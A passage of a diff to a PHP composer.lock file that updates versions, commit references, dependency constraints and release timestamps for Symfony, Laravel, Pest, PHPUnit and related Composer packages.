"https://api.github.com/repos/symfony/routing/zipball/238d749c56b804b31a9bf3e26519d93b65a60938", + "reference": "238d749c56b804b31a9bf3e26519d93b65a60938", "shasum": "" }, "require": { @@ -10212,7 +10280,7 @@ "url" ], "support": { - "source": "https://github.com/symfony/routing/tree/v7.4.4" + "source": "https://github.com/symfony/routing/tree/v7.4.6" }, "funding": [ { @@ -10232,7 +10300,7 @@ "type": "tidelift" } ], - "time": "2026-01-12T12:19:02+00:00" + "time": "2026-02-25T16:50:00+00:00" }, { "name": "symfony/service-contracts", @@ -10389,16 +10457,16 @@ }, { "name": "symfony/string", - "version": "v8.0.4", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/string.git", - "reference": "758b372d6882506821ed666032e43020c4f57194" + "reference": "6c9e1108041b5dce21a9a4984b531c4923aa9ec4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/758b372d6882506821ed666032e43020c4f57194", - "reference": "758b372d6882506821ed666032e43020c4f57194", + "url": "https://api.github.com/repos/symfony/string/zipball/6c9e1108041b5dce21a9a4984b531c4923aa9ec4", + "reference": "6c9e1108041b5dce21a9a4984b531c4923aa9ec4", "shasum": "" }, "require": { @@ -10455,7 +10523,7 @@ "utf8" ], "support": { - "source": "https://github.com/symfony/string/tree/v8.0.4" + "source": "https://github.com/symfony/string/tree/v8.0.6" }, "funding": [ { @@ -10475,20 +10543,20 @@ "type": "tidelift" } ], - "time": "2026-01-12T12:37:40+00:00" + "time": "2026-02-09T10:14:57+00:00" }, { "name": "symfony/translation", - "version": "v8.0.4", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/translation.git", - "reference": "db70c8ce7db74fd2da7b1d268db46b2a8ce32c10" + "reference": "13ff19bcf2bea492d3c2fbeaa194dd6f4599ce1b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/translation/zipball/db70c8ce7db74fd2da7b1d268db46b2a8ce32c10", - "reference": "db70c8ce7db74fd2da7b1d268db46b2a8ce32c10", + "url": "https://api.github.com/repos/symfony/translation/zipball/13ff19bcf2bea492d3c2fbeaa194dd6f4599ce1b", + "reference": "13ff19bcf2bea492d3c2fbeaa194dd6f4599ce1b", "shasum": "" }, "require": { @@ -10548,7 +10616,7 @@ "description": "Provides tools to internationalize your application", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/translation/tree/v8.0.4" + "source": "https://github.com/symfony/translation/tree/v8.0.6" }, "funding": [ { @@ -10568,7 +10636,7 @@ "type": "tidelift" } ], - "time": "2026-01-13T13:06:50+00:00" + "time": "2026-02-17T13:07:04+00:00" }, { "name": "symfony/translation-contracts", @@ -10732,16 +10800,16 @@ }, { "name": "symfony/var-dumper", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/var-dumper.git", - "reference": "0e4769b46a0c3c62390d124635ce59f66874b282" + "reference": "045321c440ac18347b136c63d2e9bf28a2dc0291" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/var-dumper/zipball/0e4769b46a0c3c62390d124635ce59f66874b282", - "reference": "0e4769b46a0c3c62390d124635ce59f66874b282", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/045321c440ac18347b136c63d2e9bf28a2dc0291", + "reference": "045321c440ac18347b136c63d2e9bf28a2dc0291", "shasum": "" }, "require": { @@ -10795,7 +10863,7 @@ "dump" ], "support": { - "source": "https://github.com/symfony/var-dumper/tree/v7.4.4" + "source": "https://github.com/symfony/var-dumper/tree/v7.4.6" }, "funding": [ { @@ -10815,20 +10883,20 @@ "type": "tidelift" } ], - "time": "2026-01-01T22:13:48+00:00" + "time": "2026-02-15T10:53:20+00:00" }, { "name": "symfony/yaml", - "version": "v7.4.1", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/yaml.git", - "reference": "24dd4de28d2e3988b311751ac49e684d783e2345" + "reference": "58751048de17bae71c5aa0d13cb19d79bca26391" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/yaml/zipball/24dd4de28d2e3988b311751ac49e684d783e2345", - "reference": "24dd4de28d2e3988b311751ac49e684d783e2345", + "url": "https://api.github.com/repos/symfony/yaml/zipball/58751048de17bae71c5aa0d13cb19d79bca26391", + "reference": "58751048de17bae71c5aa0d13cb19d79bca26391", "shasum": "" }, "require": { @@ -10871,7 +10939,7 @@ "description": "Loads and dumps YAML files", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/yaml/tree/v7.4.1" + "source": "https://github.com/symfony/yaml/tree/v7.4.6" }, "funding": [ { @@ -10891,7 +10959,7 @@ "type": "tidelift" } ], - "time": "2025-12-04T18:11:45+00:00" + "time": "2026-02-09T09:33:46+00:00" }, { "name": "tijsverkoyen/css-to-inline-styles", @@ -10950,33 +11018,45 @@ }, { "name": "visus/cuid2", - "version": "4.1.0", + "version": "6.0.0", "source": { "type": "git", "url": "https://github.com/visus-io/php-cuid2.git", - "reference": "17c9b3098d556bb2556a084c948211333cc19c79" + "reference": "834c8a1c04684931600ee7a4189150b331a5b56c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/visus-io/php-cuid2/zipball/17c9b3098d556bb2556a084c948211333cc19c79", - "reference": "17c9b3098d556bb2556a084c948211333cc19c79", + "url": "https://api.github.com/repos/visus-io/php-cuid2/zipball/834c8a1c04684931600ee7a4189150b331a5b56c", + "reference": "834c8a1c04684931600ee7a4189150b331a5b56c", "shasum": "" }, "require": { - "php": "^8.1" + "php": "^8.2", + "symfony/polyfill-php83": "^1.32" }, "require-dev": { + "captainhook/captainhook": "^5.27", + "captainhook/hook-installer": "^1.0", + "captainhook/plugin-composer": "^5.3", + "dealerdirect/phpcodesniffer-composer-installer": "^1.2", "ergebnis/composer-normalize": "^2.29", - "ext-ctype": "*", + "php-parallel-lint/php-parallel-lint": "^1.4", + "phpbench/phpbench": "^1.4", "phpstan/phpstan": "^1.9", - "phpunit/phpunit": "^10.0", - "squizlabs/php_codesniffer": "^3.7", - "vimeo/psalm": "^5.4" + "phpunit/phpunit": "^10.5", + "ramsey/conventional-commits": "^1.5", + "slevomat/coding-standard": "^8.25", + "squizlabs/php_codesniffer": "^4.0" }, "suggest": { - "ext-gmp": "*" + "ext-gmp": "Enables faster math with arbitrary precision integers using GMP." }, "type": "library", + "extra": { + "captainhook": { + "force-install": true + } + }, "autoload": { "files": [ "src/compat.php" @@ -11002,9 +11082,9 @@ ], "support": { "issues": "https://github.com/visus-io/php-cuid2/issues", - "source": "https://github.com/visus-io/php-cuid2/tree/4.1.0" + "source": "https://github.com/visus-io/php-cuid2/tree/6.0.0" }, - "time": "2024-05-14T13:23:35+00:00" + "time": "2025-12-18T14:52:27+00:00" }, { "name": "vlucas/phpdotenv", @@ -11542,16 +11622,16 @@ }, { "name": "zircote/swagger-php", - "version": "5.8.0", + "version": "5.8.3", "source": { "type": "git", "url": "https://github.com/zircote/swagger-php.git", - "reference": "9cf5d1a0c159894026708c9e837e69140c2d3922" + "reference": "098223019f764a16715f64089a58606096719c98" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/zircote/swagger-php/zipball/9cf5d1a0c159894026708c9e837e69140c2d3922", - "reference": "9cf5d1a0c159894026708c9e837e69140c2d3922", + "url": "https://api.github.com/repos/zircote/swagger-php/zipball/098223019f764a16715f64089a58606096719c98", + "reference": "098223019f764a16715f64089a58606096719c98", "shasum": "" }, "require": { @@ -11624,7 +11704,7 @@ ], "support": { "issues": "https://github.com/zircote/swagger-php/issues", - "source": "https://github.com/zircote/swagger-php/tree/5.8.0" + "source": "https://github.com/zircote/swagger-php/tree/5.8.3" }, "funding": [ { @@ -11632,7 +11712,7 @@ "type": "github" } ], - "time": "2026-01-28T01:27:48+00:00" + "time": "2026-03-02T00:47:18+00:00" } ], "packages-dev": [ @@ -12945,16 +13025,16 @@ }, { "name": "brianium/paratest", - "version": "v7.16.1", + "version": "v7.19.0", "source": { "type": "git", "url": "https://github.com/paratestphp/paratest.git", - "reference": "f0fdfd8e654e0d38bc2ba756a6cabe7be287390b" + "reference": "7c6c29af7c4b406b49ce0c6b0a3a81d3684474e6" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/paratestphp/paratest/zipball/f0fdfd8e654e0d38bc2ba756a6cabe7be287390b", - "reference": "f0fdfd8e654e0d38bc2ba756a6cabe7be287390b", + "url": "https://api.github.com/repos/paratestphp/paratest/zipball/7c6c29af7c4b406b49ce0c6b0a3a81d3684474e6", + "reference": "7c6c29af7c4b406b49ce0c6b0a3a81d3684474e6", "shasum": "" }, "require": { @@ -12965,24 +13045,24 @@ "fidry/cpu-core-counter": "^1.3.0", "jean85/pretty-package-versions": "^2.1.1", "php": "~8.3.0 || ~8.4.0 || ~8.5.0", - "phpunit/php-code-coverage": "^12.5.2", - "phpunit/php-file-iterator": "^6", - "phpunit/php-timer": "^8", - "phpunit/phpunit": "^12.5.4", - "sebastian/environment": "^8.0.3", - "symfony/console": "^7.3.4 || ^8.0.0", - "symfony/process": "^7.3.4 || ^8.0.0" + "phpunit/php-code-coverage": "^12.5.3 || ^13.0.1", + "phpunit/php-file-iterator": "^6.0.1 || ^7", + "phpunit/php-timer": "^8 || ^9", + "phpunit/phpunit": "^12.5.9 || ^13", + "sebastian/environment": "^8.0.3 || ^9", + "symfony/console": "^7.4.4 || ^8.0.4", + "symfony/process": "^7.4.5 || ^8.0.5" }, "require-dev": { "doctrine/coding-standard": "^14.0.0", "ext-pcntl": "*", "ext-pcov": "*", "ext-posix": "*", - "phpstan/phpstan": "^2.1.33", + "phpstan/phpstan": "^2.1.38", "phpstan/phpstan-deprecation-rules": "^2.0.3", - "phpstan/phpstan-phpunit": "^2.0.11", - "phpstan/phpstan-strict-rules": "^2.0.7", - "symfony/filesystem": "^7.3.2 || ^8.0.0" + "phpstan/phpstan-phpunit": "^2.0.12", + "phpstan/phpstan-strict-rules": "^2.0.8", + "symfony/filesystem": "^7.4.0 || ^8.0.1" }, "bin": [ "bin/paratest", @@ -13022,7 +13102,7 @@ ], "support": { "issues": "https://github.com/paratestphp/paratest/issues", - "source": "https://github.com/paratestphp/paratest/tree/v7.16.1" + "source": "https://github.com/paratestphp/paratest/tree/v7.19.0" }, "funding": [ { @@ -13034,7 +13114,7 @@ "type": "paypal" } ], - "time": "2026-01-08T07:23:06+00:00" + "time": "2026-02-06T10:53:26+00:00" }, { "name": "daverandom/libdns", @@ -13422,16 +13502,16 @@ }, { "name": "laravel/boost", - "version": "v2.1.1", + "version": "v2.2.1", "source": { "type": "git", "url": "https://github.com/laravel/boost.git", - "reference": "1c7d6f44c96937a961056778b9143218b1183302" + "reference": "e27f1616177377fef95296620530c44a7dda4df9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/boost/zipball/1c7d6f44c96937a961056778b9143218b1183302", - "reference": "1c7d6f44c96937a961056778b9143218b1183302", + "url": "https://api.github.com/repos/laravel/boost/zipball/e27f1616177377fef95296620530c44a7dda4df9", + "reference": "e27f1616177377fef95296620530c44a7dda4df9", "shasum": "" }, "require": { @@ -13442,7 +13522,7 @@ "illuminate/support": "^11.45.3|^12.41.1", "laravel/mcp": "^0.5.1", "laravel/prompts": "^0.3.10", - "laravel/roster": "^0.2.9", + "laravel/roster": "^0.5.0", "php": "^8.2" }, "require-dev": { @@ -13484,43 +13564,43 @@ "issues": "https://github.com/laravel/boost/issues", "source": "https://github.com/laravel/boost" }, - "time": "2026-02-06T10:41:29+00:00" + "time": "2026-02-25T16:07:36+00:00" }, { "name": "laravel/dusk", - "version": "v8.3.4", + "version": "v8.3.6", "source": { "type": "git", "url": "https://github.com/laravel/dusk.git", - "reference": "33a4211c7b63ffe430bf30ec3c014012dcb6dfa6" + "reference": "5c3beee54f91f575f50cadcd7e5d44c80cc9a9aa" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/dusk/zipball/33a4211c7b63ffe430bf30ec3c014012dcb6dfa6", - "reference": "33a4211c7b63ffe430bf30ec3c014012dcb6dfa6", + "url": "https://api.github.com/repos/laravel/dusk/zipball/5c3beee54f91f575f50cadcd7e5d44c80cc9a9aa", + "reference": "5c3beee54f91f575f50cadcd7e5d44c80cc9a9aa", "shasum": "" }, "require": { "ext-json": "*", "ext-zip": "*", "guzzlehttp/guzzle": "^7.5", - "illuminate/console": "^10.0|^11.0|^12.0", - "illuminate/support": "^10.0|^11.0|^12.0", + "illuminate/console": "^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", "php": "^8.1", "php-webdriver/webdriver": "^1.15.2", - "symfony/console": "^6.2|^7.0", - "symfony/finder": "^6.2|^7.0", - "symfony/process": "^6.2|^7.0", + "symfony/console": "^6.2|^7.0|^8.0", + "symfony/finder": "^6.2|^7.0|^8.0", + "symfony/process": "^6.2|^7.0|^8.0", "vlucas/phpdotenv": "^5.2" }, "require-dev": { - "laravel/framework": "^10.0|^11.0|^12.0", + "laravel/framework": "^10.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.6", - "orchestra/testbench-core": "^8.19|^9.17|^10.8", + "orchestra/testbench-core": "^8.19|^9.17|^10.8|^11.0", "phpstan/phpstan": "^1.10", "phpunit/phpunit": "^10.1|^11.0|^12.0.1", "psy/psysh": "^0.11.12|^0.12", - "symfony/yaml": "^6.2|^7.0" + "symfony/yaml": "^6.2|^7.0|^8.0" }, "suggest": { "ext-pcntl": "Used to gracefully terminate Dusk when tests are running." @@ -13556,22 +13636,22 @@ ], "support": { "issues": "https://github.com/laravel/dusk/issues", - "source": "https://github.com/laravel/dusk/tree/v8.3.4" + "source": "https://github.com/laravel/dusk/tree/v8.3.6" }, - "time": "2025-11-20T16:26:16+00:00" + "time": "2026-02-10T18:14:59+00:00" }, { "name": "laravel/mcp", - "version": "v0.5.5", + "version": "v0.5.9", "source": { "type": "git", "url": "https://github.com/laravel/mcp.git", - "reference": "b3327bb75fd2327577281e507e2dbc51649513d6" + "reference": "39e8da60eb7bce4737c5d868d35a3fe78938c129" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/mcp/zipball/b3327bb75fd2327577281e507e2dbc51649513d6", - "reference": "b3327bb75fd2327577281e507e2dbc51649513d6", + "url": "https://api.github.com/repos/laravel/mcp/zipball/39e8da60eb7bce4737c5d868d35a3fe78938c129", + "reference": "39e8da60eb7bce4737c5d868d35a3fe78938c129", "shasum": "" }, "require": { @@ -13631,20 +13711,20 @@ "issues": "https://github.com/laravel/mcp/issues", "source": "https://github.com/laravel/mcp" }, - "time": "2026-02-05T14:05:18+00:00" + "time": "2026-02-17T19:05:53+00:00" }, { "name": "laravel/pint", - "version": "v1.27.0", + "version": "v1.27.1", "source": { "type": "git", "url": "https://github.com/laravel/pint.git", - "reference": "c67b4195b75491e4dfc6b00b1c78b68d86f54c90" + "reference": "54cca2de13790570c7b6f0f94f37896bee4abcb5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/pint/zipball/c67b4195b75491e4dfc6b00b1c78b68d86f54c90", - "reference": "c67b4195b75491e4dfc6b00b1c78b68d86f54c90", + "url": "https://api.github.com/repos/laravel/pint/zipball/54cca2de13790570c7b6f0f94f37896bee4abcb5", + "reference": "54cca2de13790570c7b6f0f94f37896bee4abcb5", "shasum": "" }, "require": { @@ -13655,13 +13735,13 @@ "php": "^8.2.0" }, "require-dev": { - "friendsofphp/php-cs-fixer": "^3.92.4", - "illuminate/view": "^12.44.0", - "larastan/larastan": "^3.8.1", - "laravel-zero/framework": "^12.0.4", + "friendsofphp/php-cs-fixer": "^3.93.1", + "illuminate/view": "^12.51.0", + "larastan/larastan": "^3.9.2", + "laravel-zero/framework": "^12.0.5", "mockery/mockery": "^1.6.12", "nunomaduro/termwind": "^2.3.3", - "pestphp/pest": "^3.8.4" + "pestphp/pest": "^3.8.5" }, "bin": [ "builds/pint" @@ -13698,35 +13778,35 @@ "issues": "https://github.com/laravel/pint/issues", "source": "https://github.com/laravel/pint" }, - "time": "2026-01-05T16:49:17+00:00" + "time": "2026-02-10T20:00:20+00:00" }, { "name": "laravel/roster", - "version": "v0.2.9", + "version": "v0.5.0", "source": { "type": "git", "url": "https://github.com/laravel/roster.git", - "reference": "82bbd0e2de614906811aebdf16b4305956816fa6" + "reference": "56904a78f4d7360c1c490ced7deeebf9aecb8c0e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/roster/zipball/82bbd0e2de614906811aebdf16b4305956816fa6", - "reference": "82bbd0e2de614906811aebdf16b4305956816fa6", + "url": "https://api.github.com/repos/laravel/roster/zipball/56904a78f4d7360c1c490ced7deeebf9aecb8c0e", + "reference": "56904a78f4d7360c1c490ced7deeebf9aecb8c0e", "shasum": "" }, "require": { - "illuminate/console": "^10.0|^11.0|^12.0", - "illuminate/contracts": "^10.0|^11.0|^12.0", - "illuminate/routing": "^10.0|^11.0|^12.0", - "illuminate/support": "^10.0|^11.0|^12.0", - "php": "^8.1|^8.2", - "symfony/yaml": "^6.4|^7.2" + "illuminate/console": "^11.0|^12.0|^13.0", + "illuminate/contracts": "^11.0|^12.0|^13.0", + "illuminate/routing": "^11.0|^12.0|^13.0", + "illuminate/support": "^11.0|^12.0|^13.0", + "php": "^8.2", + "symfony/yaml": "^7.2|^8.0" }, "require-dev": { "laravel/pint": "^1.14", "mockery/mockery": "^1.6", - "orchestra/testbench": "^8.22.0|^9.0|^10.0", - "pestphp/pest": "^2.0|^3.0", + "orchestra/testbench": "^9.0|^10.0|^11.0", + "pestphp/pest": "^3.0|^4.1", "phpstan/phpstan": "^2.0" }, "type": "library", @@ -13759,25 +13839,26 @@ "issues": "https://github.com/laravel/roster/issues", "source": "https://github.com/laravel/roster" }, - "time": "2025-10-20T09:56:46+00:00" + "time": "2026-02-17T17:33:35+00:00" }, { "name": "laravel/telescope", - "version": "v5.16.1", + "version": "5.18.0", "source": { "type": "git", "url": "https://github.com/laravel/telescope.git", - "reference": "dc114b94f025b8c16b5eb3194b4ddc0e46d5310c" + "reference": "8bbc1d839317cef7106cabf028e407416e5a1dad" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/telescope/zipball/dc114b94f025b8c16b5eb3194b4ddc0e46d5310c", - "reference": "dc114b94f025b8c16b5eb3194b4ddc0e46d5310c", + "url": "https://api.github.com/repos/laravel/telescope/zipball/8bbc1d839317cef7106cabf028e407416e5a1dad", + "reference": "8bbc1d839317cef7106cabf028e407416e5a1dad", "shasum": "" }, "require": { "ext-json": "*", - "laravel/framework": "^8.37|^9.0|^10.0|^11.0|^12.0", + "laravel/framework": "^8.37|^9.0|^10.0|^11.0|^12.0|^13.0", + "laravel/sentinel": "^1.0", "php": "^8.0", "symfony/console": "^5.3|^6.0|^7.0", "symfony/var-dumper": "^5.0|^6.0|^7.0" @@ -13786,7 +13867,7 @@ "ext-gd": "*", "guzzlehttp/guzzle": "^6.0|^7.0", "laravel/octane": "^1.4|^2.0", - "orchestra/testbench": "^6.47.1|^7.55|^8.36|^9.15|^10.8", + "orchestra/testbench": "^6.47.1|^7.55|^8.36|^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.10" }, "type": "library", @@ -13825,9 +13906,9 @@ ], "support": { "issues": "https://github.com/laravel/telescope/issues", - "source": "https://github.com/laravel/telescope/tree/v5.16.1" + "source": "https://github.com/laravel/telescope/tree/5.18.0" }, - "time": "2025-12-30T17:31:31+00:00" + "time": "2026-02-20T19:55:06+00:00" }, { "name": "league/uri-components", @@ -14058,39 +14139,36 @@ }, { "name": "nunomaduro/collision", - "version": "v8.8.3", + "version": "v8.9.1", "source": { "type": "git", "url": "https://github.com/nunomaduro/collision.git", - "reference": "1dc9e88d105699d0fee8bb18890f41b274f6b4c4" + "reference": "a1ed3fa530fd60bc515f9303e8520fcb7d4bd935" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nunomaduro/collision/zipball/1dc9e88d105699d0fee8bb18890f41b274f6b4c4", - "reference": "1dc9e88d105699d0fee8bb18890f41b274f6b4c4", + "url": "https://api.github.com/repos/nunomaduro/collision/zipball/a1ed3fa530fd60bc515f9303e8520fcb7d4bd935", + "reference": "a1ed3fa530fd60bc515f9303e8520fcb7d4bd935", "shasum": "" }, "require": { - "filp/whoops": "^2.18.1", - "nunomaduro/termwind": "^2.3.1", + "filp/whoops": "^2.18.4", + "nunomaduro/termwind": "^2.4.0", "php": "^8.2.0", - "symfony/console": "^7.3.0" + "symfony/console": "^7.4.4 || ^8.0.4" }, "conflict": { - "laravel/framework": "<11.44.2 || >=13.0.0", - "phpunit/phpunit": "<11.5.15 || >=13.0.0" + "laravel/framework": "<11.48.0 || >=14.0.0", + "phpunit/phpunit": "<11.5.50 || >=14.0.0" }, "require-dev": { - "brianium/paratest": "^7.8.3", - "larastan/larastan": "^3.4.2", - "laravel/framework": "^11.44.2 || ^12.18", - "laravel/pint": "^1.22.1", - "laravel/sail": "^1.43.1", - "laravel/sanctum": "^4.1.1", - "laravel/tinker": "^2.10.1", - "orchestra/testbench-core": "^9.12.0 || ^10.4", - "pestphp/pest": "^3.8.2 || ^4.0.0", - "sebastian/environment": "^7.2.1 || ^8.0" + "brianium/paratest": "^7.8.5", + "larastan/larastan": "^3.9.2", + "laravel/framework": "^11.48.0 || ^12.52.0", + "laravel/pint": "^1.27.1", + "orchestra/testbench-core": "^9.12.0 || ^10.9.0", + "pestphp/pest": "^3.8.5 || ^4.4.1 || ^5.0.0", + "sebastian/environment": "^7.2.1 || ^8.0.3 || ^9.0.0" }, "type": "library", "extra": { @@ -14153,45 +14231,45 @@ "type": "patreon" } ], - "time": "2025-11-20T02:55:25+00:00" + "time": "2026-02-17T17:33:08+00:00" }, { "name": "pestphp/pest", - "version": "v4.3.2", + "version": "v4.4.1", "source": { "type": "git", "url": "https://github.com/pestphp/pest.git", - "reference": "3a4329ddc7a2b67c19fca8342a668b39be3ae398" + "reference": "f96a1b27864b585b0b29b0ee7331176726f7e54a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/pestphp/pest/zipball/3a4329ddc7a2b67c19fca8342a668b39be3ae398", - "reference": "3a4329ddc7a2b67c19fca8342a668b39be3ae398", + "url": "https://api.github.com/repos/pestphp/pest/zipball/f96a1b27864b585b0b29b0ee7331176726f7e54a", + "reference": "f96a1b27864b585b0b29b0ee7331176726f7e54a", "shasum": "" }, "require": { - "brianium/paratest": "^7.16.1", - "nunomaduro/collision": "^8.8.3", - "nunomaduro/termwind": "^2.3.3", + "brianium/paratest": "^7.19.0", + "nunomaduro/collision": "^8.9.0", + "nunomaduro/termwind": "^2.4.0", "pestphp/pest-plugin": "^4.0.0", "pestphp/pest-plugin-arch": "^4.0.0", "pestphp/pest-plugin-mutate": "^4.0.1", "pestphp/pest-plugin-profanity": "^4.2.1", "php": "^8.3.0", - "phpunit/phpunit": "^12.5.8", - "symfony/process": "^7.4.4|^8.0.0" + "phpunit/phpunit": "^12.5.12", + "symfony/process": "^7.4.5|^8.0.5" }, "conflict": { "filp/whoops": "<2.18.3", - "phpunit/phpunit": ">12.5.8", + "phpunit/phpunit": ">12.5.12", "sebastian/exporter": "<7.0.0", "webmozart/assert": "<1.11.0" }, "require-dev": { - "pestphp/pest-dev-tools": "^4.0.0", - "pestphp/pest-plugin-browser": "^4.2.1", + "pestphp/pest-dev-tools": "^4.1.0", + "pestphp/pest-plugin-browser": "^4.3.0", "pestphp/pest-plugin-type-coverage": "^4.0.3", - "psy/psysh": "^0.12.18" + "psy/psysh": "^0.12.20" }, "bin": [ "bin/pest" @@ -14257,7 +14335,7 @@ ], "support": { "issues": "https://github.com/pestphp/pest/issues", - "source": "https://github.com/pestphp/pest/tree/v4.3.2" + "source": "https://github.com/pestphp/pest/tree/v4.4.1" }, "funding": [ { @@ -14269,7 +14347,7 @@ "type": "github" } ], - "time": "2026-01-28T01:01:19+00:00" + "time": "2026-02-17T15:27:18+00:00" }, { "name": "pestphp/pest-plugin", @@ -14413,35 +14491,35 @@ }, { "name": "pestphp/pest-plugin-browser", - "version": "v4.2.1", + "version": "v4.3.0", "source": { "type": "git", "url": "https://github.com/pestphp/pest-plugin-browser.git", - "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d" + "reference": "48bc408033281974952a6b296592cef3b920a2db" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/pestphp/pest-plugin-browser/zipball/0ed837ab7e80e6fc78d36913cc0b006f8819336d", - "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d", + "url": "https://api.github.com/repos/pestphp/pest-plugin-browser/zipball/48bc408033281974952a6b296592cef3b920a2db", + "reference": "48bc408033281974952a6b296592cef3b920a2db", "shasum": "" }, "require": { "amphp/amp": "^3.1.1", - "amphp/http-server": "^3.4.3", + "amphp/http-server": "^3.4.4", "amphp/websocket-client": "^2.0.2", "ext-sockets": "*", - "pestphp/pest": "^4.3.1", + "pestphp/pest": "^4.3.2", "pestphp/pest-plugin": "^4.0.0", "php": "^8.3", - "symfony/process": "^7.4.3" + "symfony/process": "^7.4.5|^8.0.5" }, "require-dev": { "ext-pcntl": "*", "ext-posix": "*", - "livewire/livewire": "^3.7.3", - "nunomaduro/collision": "^8.8.3", - "orchestra/testbench": "^10.8.0", - "pestphp/pest-dev-tools": "^4.0.0", + "livewire/livewire": "^3.7.10", + "nunomaduro/collision": "^8.9.0", + "orchestra/testbench": "^10.9.0", + "pestphp/pest-dev-tools": "^4.1.0", "pestphp/pest-plugin-laravel": "^4.0", "pestphp/pest-plugin-type-coverage": "^4.0.3" }, @@ -14476,7 +14554,7 @@ "unit" ], "support": { - "source": "https://github.com/pestphp/pest-plugin-browser/tree/v4.2.1" + "source": "https://github.com/pestphp/pest-plugin-browser/tree/v4.3.0" }, "funding": [ { @@ -14492,7 +14570,7 @@ "type": "patreon" } ], - "time": "2026-01-11T20:32:34+00:00" + "time": "2026-02-17T14:54:40+00:00" }, { "name": "pestphp/pest-plugin-mutate", @@ -14886,11 +14964,11 @@ }, { "name": "phpstan/phpstan", - "version": "2.1.38", + "version": "2.1.40", "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/dfaf1f530e1663aa167bc3e52197adb221582629", - "reference": "dfaf1f530e1663aa167bc3e52197adb221582629", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/9b2c7aeb83a75d8680ea5e7c9b7fca88052b766b", + "reference": "9b2c7aeb83a75d8680ea5e7c9b7fca88052b766b", "shasum": "" }, "require": { @@ -14935,20 +15013,20 @@ "type": "github" } ], - "time": "2026-01-30T17:12:46+00:00" + "time": "2026-02-23T15:04:35+00:00" }, { "name": "phpunit/php-code-coverage", - "version": "12.5.2", + "version": "12.5.3", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "4a9739b51cbcb355f6e95659612f92e282a7077b" + "reference": "b015312f28dd75b75d3422ca37dff2cd1a565e8d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/4a9739b51cbcb355f6e95659612f92e282a7077b", - "reference": "4a9739b51cbcb355f6e95659612f92e282a7077b", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/b015312f28dd75b75d3422ca37dff2cd1a565e8d", + "reference": "b015312f28dd75b75d3422ca37dff2cd1a565e8d", "shasum": "" }, "require": { @@ -15004,7 +15082,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", - "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/12.5.2" + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/12.5.3" }, "funding": [ { @@ -15024,7 +15102,7 @@ "type": "tidelift" } ], - "time": "2025-12-24T07:03:04+00:00" + "time": "2026-02-06T06:01:44+00:00" }, { "name": "phpunit/php-file-iterator", @@ -15285,16 +15363,16 @@ }, { "name": "phpunit/phpunit", - "version": "12.5.8", + "version": "12.5.12", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "37ddb96c14bfee10304825edbb7e66d341ec6889" + "reference": "418e06b3b46b0d54bad749ff4907fc7dfb530199" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/37ddb96c14bfee10304825edbb7e66d341ec6889", - "reference": "37ddb96c14bfee10304825edbb7e66d341ec6889", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/418e06b3b46b0d54bad749ff4907fc7dfb530199", + "reference": "418e06b3b46b0d54bad749ff4907fc7dfb530199", "shasum": "" }, "require": { @@ -15308,8 +15386,8 @@ "phar-io/manifest": "^2.0.4", "phar-io/version": "^3.2.1", "php": ">=8.3", - "phpunit/php-code-coverage": "^12.5.2", - "phpunit/php-file-iterator": "^6.0.0", + "phpunit/php-code-coverage": "^12.5.3", + "phpunit/php-file-iterator": "^6.0.1", "phpunit/php-invoker": "^6.0.0", "phpunit/php-text-template": "^5.0.0", "phpunit/php-timer": "^8.0.0", @@ -15320,6 +15398,7 @@ "sebastian/exporter": "^7.0.2", "sebastian/global-state": "^8.0.2", "sebastian/object-enumerator": "^7.0.0", + "sebastian/recursion-context": "^7.0.1", "sebastian/type": "^6.0.3", "sebastian/version": "^6.0.0", "staabm/side-effects-detector": "^1.0.5" @@ -15362,7 +15441,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues", "security": "https://github.com/sebastianbergmann/phpunit/security/policy", - "source": "https://github.com/sebastianbergmann/phpunit/tree/12.5.8" + "source": "https://github.com/sebastianbergmann/phpunit/tree/12.5.12" }, "funding": [ { @@ -15386,25 +15465,25 @@ "type": "tidelift" } ], - "time": "2026-01-27T06:12:29+00:00" + 